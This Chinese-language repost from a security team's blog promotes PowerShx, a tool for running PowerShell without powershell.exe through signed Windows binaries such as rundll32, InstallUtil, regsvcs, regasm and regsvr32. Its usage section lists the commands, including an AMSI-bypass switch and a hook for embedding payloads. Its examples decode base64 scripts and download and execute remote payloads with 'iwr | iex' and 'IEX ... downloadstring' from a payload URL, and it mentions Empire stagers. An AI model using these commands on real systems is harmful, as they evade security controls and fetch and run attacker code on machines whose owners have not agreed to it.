前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >神兵利器 - PowerShx 不受软件限制运行Powershell

神兵利器 - PowerShx 不受软件限制运行Powershell

作者头像
Khan安全团队
发布2021-10-25 15:10:58
9430
发布2021-10-25 15:10:58
举报
文章被收录于专栏:Khan安全团队Khan安全团队

使用 DLL 或独立可执行文件的非托管 PowerShell 执行。

PowerShx 是对PowerShdll项目的重写和扩展。PowerShx 提供绕过 AMSI 和运行 PS Cmdlet 的功能。

特征

  • 使用 rundll32.exe、installutil.exe、regsvcs.exe 或 regasm.exe、regsvr32.exe 运行带有 DLL 的 Powershell。
  • 在没有 powershell.exe 或 powershell_ise.exe 的情况下运行 Powershell
  • AMSI 旁路功能。
  • 直接从命令行或 Powershell 文件运行 Powershell 脚本
  • 导入 Powershell 模块并执行 Powershell Cmdlets。

用法

运行dll32
代码语言:javascript
复制
rundll32 PowerShx.dll,main -e                           <PS script to run>
rundll32 PowerShx.dll,main -f <path>                    Run the script passed as argument
rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet>     Load a script and run a PS cmdlet
rundll32 PowerShx.dll,main -w                           Start an interactive console in a new window
rundll32 PowerShx.dll,main -i                           Start an interactive console
rundll32 PowerShx.dll,main -s                           Attempt to bypass AMSI
rundll32 PowerShx.dll,main -v                           Print Execution Output to the console
替代
代码语言:javascript
复制
1. 
    x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
    x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2. 
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3. 
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4. 
    regsvr32 /s  /u PowerShx.dll -->Calls DllUnregisterServer
    regsvr32 /s PowerShx.dll --> Calls DllRegisterServer

exe 版本

代码语言:javascript
复制
PowerShx.exe -i                          Start an interactive console
PowerShx.exe -e                          <PS script to run>
PowerShx.exe -f <path>                   Run the script passed as argument
PowerShx.exe -f <path> -c <PS Cmdlet>    Load a script and run a PS cmdlet
PowerShx.exe -s                          Attempt to bypass AMSI.

嵌入式有效载荷

可以通过更新“Common”项目中的数据字典“Common.Payloads.PayloadDict”并在方法 PsSession.cs -> Handle() 中调用它来嵌入有效负载。示例:在 Handle() 方法中:

代码语言:javascript
复制
private void Handle(Options options)
{
  // Pre-execution before user script
  _ps.Exe(Payloads.PayloadDict["amsi"]);
}

例子

运行 base64 编码的脚本
代码语言:javascript
复制
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

注意:Empire stagers 需要使用 [System.Text.Encoding]::Unicode 解码

运行 base64 编码的脚本
代码语言:javascript
复制
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"

项目地址:

aHR0cHM6Ly9naXRodWIuY29tL2lvbW9hdGgvUG93ZXJTaHg=

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-10-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 特征
  • 用法
    • 运行dll32
      • 替代
        • exe 版本
          • 运行 base64 编码的脚本
          • 运行 base64 编码的脚本
      • 嵌入式有效载荷
      • 例子
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档